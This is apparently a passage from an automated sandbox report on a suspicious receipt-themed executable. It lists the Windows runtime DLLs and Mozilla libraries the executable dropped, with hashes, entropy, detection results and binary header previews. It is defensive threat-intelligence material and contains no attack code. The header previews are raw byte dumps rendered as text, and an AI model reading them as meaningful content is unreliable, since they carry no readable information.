Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.078394808632259
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4hWEApkqnajPBZ:bWPhWqXYi00GftpBjBemwl1z6h2
MD5:	9E5A69C777D7E016E5BF8873C18ECAAD
SHA1:	90BAB12FAFE4ABBE03A592C5E1D5B08B3108A3C0
SHA-256:	6E61A7288F01B700F5E19936FE2FB771FEDAAC3037C3C3251D6C81BA4AABD959
SHA-512:	9FE9AA82BEC4D6BAB9EFD474E8FA141354A48862FE1A73912398267093E51292D190018EB2760F1098B333F01F73D32C925EE94865CF0FB2EF3E91B1B1D16784
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
MD5:	A2F2258C32E3BA9ABF9E9E38EF7DA8C9
SHA1:	116846CA871114B7C54148AB2D968F364DA6142F
SHA-256:	565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33
SHA-512:	E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953FE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\|..O...........!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u........................... ..`.rsrc........ ......................@..@v...................\|..O........9...d...d.......\|..O........d...............\|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................\|..O....................8...........5...h...............E...................$...N...t...................$...D...b...!...R............... ...s...................:...k.......................9...X...................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28984
Entropy (8bit):	6.6686462438397
Encrypted:	false
SSDEEP:	384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp
MD5:	8B0BA750E7B15300482CE6C961A932F0
SHA1:	71A2F5D76D23E48CEF8F258EAAD63E586CFC0E19
SHA-256:	BECE7BAB83A5D0EC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
SHA-512:	FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................@...............................P............@..............................+...........@...............4..8=..............T............................................................................text....,.......................... ..`.rsrc........@.......0..............@..@v...............................7...d...d...................d.......................................RSDSB...=........,....api-ms-win-crt-math-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg........+...edata...@..`....rsrc$01....`@.......rsrc$02................l.......:...:...(...................................(...@...X...q...............................4...M...g........................ ..= ..i ... ... ... ...!..E!..o!...!...!...!..."..F"..s"..."..."..."...#..E#..o#...#...#..

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-multibyte-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26424
Entropy (8bit):	6.712286643697659
Encrypted:	false
SSDEEP:	384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V
MD5:	35FC66BD813D0F126883E695664E7B83
SHA1:	2FD63C18CC5DC4DEFC7EA82F421050E668F68548
SHA-256:	66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0BA464EFFA716735
SHA-512:	65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9B4E2E38EBC845DF4C74FC1E1131720FD0DCB881431
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u'............!.....$...................@...............................P............@.............................. ...........@...............*..8=..............T............................................................................text....".......$.................. ..`.rsrc........@.......&..............@..@v....................u'.........<...d...d........u'.........d................u'.....................RSDS7.%..5..+...+.....api-ms-win-crt-multibyte-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg........ ...edata...@..`....rsrc$01....`@.......rsrc$02.....................u'.....................8...X...x...;...`.......................1...T...w...................'...L...q.......................B...e.......................7...Z...}...................+...L...m.......................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-private-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73016
Entropy (8bit):	5.838702055399663
Encrypted:	false
SSDEEP:	1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj
MD5:	9910A1BFDC41C5B39F6AF37F0A22AACD
SHA1:	47FA76778556F34A5E7910C816C78835109E4050
SHA-256:	65DED8D2CE159B2F5569F55B2CAF0E2C90F3694BD88C89DE790A15A49D8386B9
SHA-512:	A9788D0F8B3F61235EF4740724B4A0D8C0D3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DE8E030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....^1...........!................................................................R.....@.............................................................8=..............T............................................................................text............................... ..`.rsrc...............................@..@v.....................^1........:...d...d.........^1........d.................^1....................RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata......`....rsrc$01....`........rsrc$02......................^1.....>..............8...h#...5...>...?..7?.._?...?...?...?...@..V@...@...@...@..+A..\A...A...A...A...B..LB...B...B...C..HC...C...C...C...C...D..HD...D...D...E..eE...E...E...F..1F..gF...F...F...G..BG..uG...G..

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.076072254895036
Encrypted:	false
SSDEEP:	192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU
MD5:	8D02DD4C29BD490E672D271700511371
SHA1:	F3035A756E2E963764912C6B432E74615AE07011
SHA-256:	C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B
SHA-512:	D44EF51D3AAF42681659FFFFF4DD1A1957EAF4B8AB7BB798704102555DA127B9D7228580DCED4E0FC98C5F4026B1BAB242808E72A76E09726B0AF839E384C3B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...l.h............!......................... ...............................0.......U....@.............................x............ ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................l.h.........:...d...d.......l.h.........d...............l.h.....................RSDSZ\.qM..I....3.....api-ms-win-crt-process-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......x....edata... ..`....rsrc$01....` .......rsrc$02....................l.h.............$...$...8.......X...................&...@...Y...q...........................*...E..._...z.......................!...<...V...q...........................9...V...t.......................7...R...i...

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22840
Entropy (8bit):	6.942029615075195
Encrypted:	false
SSDEEP:	384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7
MD5:	41A348F9BEDC8681FB30FA78E45EDB24
SHA1:	66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256:	C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EA60B
SHA-512:	8C2CB53CCF9719DE87EE65ED2E1947E266EC7E8343246DEF6429C6DF0DC514079F5171ACD1AA637276256C607F1063144494B992D4635B01E09DDEA6F5EEF204
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....L............!.........................0...............................@.......i....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v.....................L.........:...d...d.........L.........d.................L.....................RSDS6..>[d.=. ....C....api-ms-win-crt-runtime-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02......................L.....f.......k...k...8...............................4...S...s.......................E...g.......................)...N...n...................&...E...f...................'...D...j.......................>.......

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24368
Entropy (8bit):	6.873960147000383
Encrypted:	false
SSDEEP:	384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr
MD5:	FEFB98394CB9EF4368DA798DEAB00E21
SHA1:	316D86926B558C9F3F6133739C1A8477B9E60740
SHA-256:	B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FF0DF7
SHA-512:	57476FE9B546E4CAFB1EF4FD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6A8E911E8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................0...............................@.......)....@.............................a............0..............."..0=..............T............................................................................text...a........................... ..`.rsrc........0......................@..@v...............................8...d...d...................d.......................................RSDS...iS#.hg.....j....api-ms-win-crt-stdio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg.......a....edata...0..`....rsrc$01....`0.......rsrc$02................^...............(....... ...................<...y...........)...h........... ...]...............H...............)...D...^...v...............................T...u.......................9...Z...{...................0...Q...

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23488
Entropy (8bit):	6.840671293766487
Encrypted:	false
SSDEEP:	384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj
MD5:	404604CD100A1E60DFDAF6ECF5BA14C0
SHA1:	58469835AB4B916927B3CABF54AEE4F380FF6748
SHA-256:	73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C
SHA-512:	DA024CCB50D4A2A5355B7712BA896DF850CEE57AA4ADA33AAD0BAE6960BCD1E5E3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20BE4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......S...........!.........................0...............................@......B.....@..........................................0..............."...9..............T............................................................................text............................... ..`.rsrc........0......................@..@v......................S........9...d...d..........S........d..................S....................RSDSI.......$[~f..5....api-ms-win-crt-string-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................S....,...............8...........W...s.......................#...B...a...........................<...[...z.......................;...[...{................... ...A...b...........................<...X...r.......

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.018061005886957
Encrypted:	false
SSDEEP:	384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0
MD5:	849F2C3EBF1FCBA33D16153692D5810F
SHA1:	1F8EDA52D31512EBFDD546BE60990B95C8E28BFB
SHA-256:	69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D
SHA-512:	44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FE57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....OI...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v....................OI........7...d...d........OI........d................OI....................RSDS...s..,E.w.9I..D....api-ms-win-crt-time-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.........OI............H...H...(...H...h... ...=...\...z.......................8...V...s.......................&...D...a...~.......................?...b.......................!...F...k.......................0...N...k...................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.127951145819804
Encrypted:	false
SSDEEP:	192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q
MD5:	B52A0CA52C9C207874639B62B6082242
SHA1:	6FB845D6A82102FF74BD35F42A2844D8C450413B
SHA-256:	A1D1D6B0CB0A8421D7C0D1297C4C389C95514493CD0A386B49DC517AC1B9A2B0
SHA-512:	18834D89376D703BD461EDF7738EB723AD8D54CB92ACC9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....!5............!......................... ...............................0.......4....@.............................^............ ..................8=..............T............................................................................text...n........................... ..`.rsrc........ ......................@..@v....................!5.........:...d...d........!5.........d................!5.....................RSDS............k.....api-ms-win-crt-utility-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......^....edata... ..`....rsrc$01....` .......rsrc$02.....................!5.....d...............8.......(...................#...<...U...l...............................+...@...[...r...................................4...I..._.......................3...N...e...\|.......................

C:\Users\user\AppData\Local\Temp\2fda\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	332752
Entropy (8bit):	6.8061257098244905
Encrypted:	false
SSDEEP:	6144:C+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XP+jW:Cu4Abg7XV72GI/qn6z
MD5:	343AA83574577727AABE537DCCFDEAFC
SHA1:	9CE3B9A182429C0DBA9821E2E72D3AB46F5D0A06
SHA-256:	393AE7F06FE6CD19EA6D57A93DD0ACD839EE39BA386CF1CA774C4C59A3BFEBD8
SHA-512:	827425D98BA491CD30929BEE6D658FCF537776CE96288180FE670FA6320C64177A7214FF4884AE3AA68E135070F28CA228AFB7F4012B724014BA7D106B5F0DCE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L......Z.........."!.........f...............................................p......o.....@.............................P...`........@..p....................P..........T...........................8...@...............8............................text...U........................... ..`.rdata..............................@..@.data...lH..........................@....rsrc...p....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	139216
Entropy (8bit):	6.841477908153926
Encrypted:	false
SSDEEP:	3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR
MD5:	9E682F1EB98A9D41468FC3E50F907635
SHA1:	85E0CECA36F657DDF6547AA0744F0855A27527EE
SHA-256:	830533BB569594EC2F7C07896B90225006B90A9AF108F49D6FB6BEBD02428B2D
SHA-512:	230230722D61AC1089FABF3F2DECFA04F9296498F8E2A2A49B1527797DCA67B5A11AB8656F04087ACADF873FA8976400D57C77C404EBA4AFF89D92B9986F32ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
